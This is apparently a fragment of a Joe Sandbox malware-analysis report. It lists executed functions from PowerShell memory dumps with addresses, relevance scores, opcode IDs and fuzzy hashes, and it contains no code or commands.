                                                                                                                                                                                                                    • Instruction ID: e310a566220057cc008d26aeaaa02d8a83c5c9d6a05843cc3aa3e3ab84d62186
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4480cbf4713cfd801b3bb07badc668f31a2ddd8103193181bc059d6ae100a3a5
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 99C11172E1EA8A5FE795AB2C98196B5BBE1FF15394F0800BBD50CC71D3EB18A840C355
                                                                                                                                                                                                                    Function 00007FF848FF356C Relevance: .3, Instructions: 256COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000C.00000002.2267586022.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_12_2_7ff848ff0000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: e0a3187ac0a7c18f956a270a4e4d340da263c0f62867e9e499c49a3f1b4e3907
                                                                                                                                                                                                                    • Instruction ID: b4dddc29204c8b6d59e535c4c05461ea02cc44847e11b342d7033d24a1bd5a0c
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e0a3187ac0a7c18f956a270a4e4d340da263c0f62867e9e499c49a3f1b4e3907
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9A810072D1EB864FE796AB2C4864675BAE0EF15784F4900FBC50CCB1D3EB19AC448319
                                                                                                                                                                                                                    Function 00007FF848FF0AA7 Relevance: .1, Instructions: 113COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000C.00000002.2267586022.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_12_2_7ff848ff0000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 113ecfd72de4433c50c9bfb9025d64a43f7507bacdadc97d20314bf8840bdbd3
                                                                                                                                                                                                                    • Instruction ID: 8963b2f67fef92feb1291a4f5aabfb1dfda2bfe9419c620ec7fadfc363de94f0
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 113ecfd72de4433c50c9bfb9025d64a43f7507bacdadc97d20314bf8840bdbd3
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5031B231E1EA864FF7A9BB28546527972D1EF81295F5400BFDB0DC31E2EF1DA8408609
                                                                                                                                                                                                                    Function 00007FF848F24195 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000C.00000002.2267265345.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_12_2_7ff848f20000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 386872062acf3f55815cfd671e7a2067435868caccf704ee43f1a23e831fee3d
                                                                                                                                                                                                                    • Instruction ID: 4162f6ead7a415284e47442f5a1833bb8975456fb8d63e311333edac20ebbc8a
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 386872062acf3f55815cfd671e7a2067435868caccf704ee43f1a23e831fee3d
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0F01677111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                    Function 00007FF8490109CD Relevance: 2.0, Strings: 1, Instructions: 779COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000F.00000002.2379961002.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_15_2_7ff849010000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID: .?_H
                                                                                                                                                                                                                    • API String ID: 0-196750725
                                                                                                                                                                                                                    • Opcode ID: 8e9935563a94d2ebb2af1069c0f5a3419037b764b73d2d6316d73192c7343477
                                                                                                                                                                                                                    • Instruction ID: 0a245cd176d55a374563bbf377c6714b6454a8211b9bb5935b41e71cd7ff7a2d
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8e9935563a94d2ebb2af1069c0f5a3419037b764b73d2d6316d73192c7343477
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 11322731D0EBC98FEBA6AB2858562B57BF1EF56354F0800FFD089C71D3EA1998458351
                                                                                                                                                                                                                    Function 00007FF849013545 Relevance: .5, Instructions: 457COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000F.00000002.2379961002.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_15_2_7ff849010000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: c14dde94f33dddedd89c4897a10e0b1733ddfea899c78037c411ea60863a0176
                                                                                                                                                                                                                    • Instruction ID: 9e59b16a71b5c68c37ff4fdc35e5db3b01f555f57f45052bb07d1d1479cdb735
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c14dde94f33dddedd89c4897a10e0b1733ddfea899c78037c411ea60863a0176
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 43D13771D1EAC99FEBA9EF2858165B57BE0EF15790F0800FAD08CC7193EA1AE845C351
                                                                                                                                                                                                                    Function 00007FF849012BBB Relevance: .2, Instructions: 240COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000F.00000002.2379961002.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_15_2_7ff849010000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: a2691fba50bf5bcc2b1778b0a5ad23ec335c7f26daf8f14c8f44537f3bc22117
                                                                                                                                                                                                                    • Instruction ID: 67d2e0cc88c2f0d3ea8facc2000ccefdca9978f5dc01291faf58b65de0d2db7e
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a2691fba50bf5bcc2b1778b0a5ad23ec335c7f26daf8f14c8f44537f3bc22117
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3771E42190EBC58FDB62AB7C98655A57FF1EF56250B0905FFD088CB093EA19E809C352
                                                                                                                                                                                                                    Function 00007FF849012BDA Relevance: .2, Instructions: 199COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000F.00000002.2379961002.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_15_2_7ff849010000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 1b1087c20b37312b3c79fb412c7ff1be456f5ddb5a48bf3df842c98e79f2a07b
                                                                                                                                                                                                                    • Instruction ID: b6f879d809aa213be8c6d5607df2fee5ecfdc046bf38456f67b0563027838c16
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1b1087c20b37312b3c79fb412c7ff1be456f5ddb5a48bf3df842c98e79f2a07b
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2061C66180E7C64FDB639F7898655A13FF1EF57260B0D01EFD488CB0A7D95A984AC312
                                                                                                                                                                                                                    Function 00007FF849010AA7 Relevance: .1, Instructions: 113COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000F.00000002.2379961002.00007FF849010000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849010000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_15_2_7ff849010000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: c4122edcef913038f0b56ebe193b665aeacae35a1969e10ddde9265cb65e1536
                                                                                                                                                                                                                    • Instruction ID: 97c0a65e9473f239f41881251de27784d9e59b9a14accb0045019bfcaed7a083
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c4122edcef913038f0b56ebe193b665aeacae35a1969e10ddde9265cb65e1536
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E031A731E1EAD68FFBB9BE2854A627572E2EF55295F5400BED44DC31D2FD1EE8808201
                                                                                                                                                                                                                    Function 00007FF848F44195 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 0000000F.00000002.2379274184.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_15_2_7ff848f40000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: feb0186fa5a442a8601efe8cd9fda3dbab66340785de5c386d0276137d275872
                                                                                                                                                                                                                    • Instruction ID: 7cbe87db6b6eeda2d3f35fd0d424f0f530304fca06bdbe2e5fbe609b64519a43
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: feb0186fa5a442a8601efe8cd9fda3dbab66340785de5c386d0276137d275872
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E201677111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695D736E881CB45

                                                                                                                                                                                                                    Executed Functions

                                                                                                                                                                                                                    Function 00007FF849003255 Relevance: .4, Instructions: 445COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 00000010.00000002.2500777645.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_16_2_7ff849000000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: a9185338016a601edbc6fa3daf99132254dbaa4f59e4f086a32f3193e93c3362
                                                                                                                                                                                                                    • Instruction ID: 43dd11d9cf3182321f59aa537825c025697d17471a8c315017dee3b6c8be0959
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a9185338016a601edbc6fa3daf99132254dbaa4f59e4f086a32f3193e93c3362
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8BD10331D1EACA5FEBA6EF2868555B57BA0FF46394F1800FAD04CCB093EE18E8058351
                                                                                                                                                                                                                    Function 00007FF849000737 Relevance: .4, Instructions: 435COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 00000010.00000002.2500777645.00007FF849000000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849000000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_16_2_7ff849000000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: ef9fda172f950f7c0cd8e33d183f900ac4e5c60c0ccc3b47a135dec8249b4c1c
                                                                                                                                                                                                                    • Instruction ID: 7db8cfe966ef42ec52394132aa06e61a5e94bf9d6d691a3f694669c5b9f78689
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ef9fda172f950f7c0cd8e33d183f900ac4e5c60c0ccc3b47a135dec8249b4c1c
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C1D1E33290EBC94FEB6AAB3868555A47FF0EF53354F0801FAD089C7193EA199C46C352
                                                                                                                                                                                                                    Function 00007FF848F34182 Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 00000010.00000002.2499760135.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_16_2_7ff848f30000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 3006f88f13810d648c33f114a2c9817c9fc550a80b49dd0be509f237ae46e84d
                                                                                                                                                                                                                    • Instruction ID: 046d2b32f2da4f25eb6b5ee00005565a0d68250a77e82772bec3e1d1028923dd
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3006f88f13810d648c33f114a2c9817c9fc550a80b49dd0be509f237ae46e84d
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 06015272F1CA094FE65DAA5C78022B873D1E7A9664F10027FE58EC32C2DE265843068A
                                                                                                                                                                                                                    Function 00007FF848F34196 Relevance: .1, Instructions: 69COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 00000010.00000002.2499760135.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_16_2_7ff848f30000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 29eeff812879828ddb0e5548c0ab81231a6d5f385f3647fc3fc65f26df1b42b0
                                                                                                                                                                                                                    • Instruction ID: 6aa89981ce835b803527ac335705a30e63512fc76d867d1b65a039b4636ba135
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 29eeff812879828ddb0e5548c0ab81231a6d5f385f3647fc3fc65f26df1b42b0
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7B019272F1CA084BD65CAA5C78021B873C1E7A8664F10023FE08EC32C2DE25580302CA
                                                                                                                                                                                                                    Function 00007FF848F341A7 Relevance: .1, Instructions: 68COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 00000010.00000002.2499760135.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_16_2_7ff848f30000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: fc1ef41b566fa58cd3afe1f72f116dee8d1e5ab29d7c8e9301d170471bedbf05
                                                                                                                                                                                                                    • Instruction ID: 4fd30a9329474fffbb43c99edb96e3f8b4784a4038950f96e0506e09db153abb
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: fc1ef41b566fa58cd3afe1f72f116dee8d1e5ab29d7c8e9301d170471bedbf05
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 16017172F1CA094FD65CAA5C78021B873C1E7A9664F10027FE18EC3282DE25980306CA
                                                                                                                                                                                                                    Function 00007FF848F333B5 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                    • Source File: 00000010.00000002.2499760135.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false
                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                    • Snapshot File: hcaresult_16_2_7ff848f30000_powershell.jbxd
                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                    • Opcode ID: 3e8110072008822f9b851662dbd92c3d0a0b45f8918f2b52d7721439382d7d88
                                                                                                                                                                                                                    • Instruction ID: 1fde1e7c06bd8ad01fde8fdacf519f27676798cf7977af127a8e772823c5939c
                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3e8110072008822f9b851662dbd92c3d0a0b45f8918f2b52d7721439382d7d88
                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9501677111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695DB36E882CB45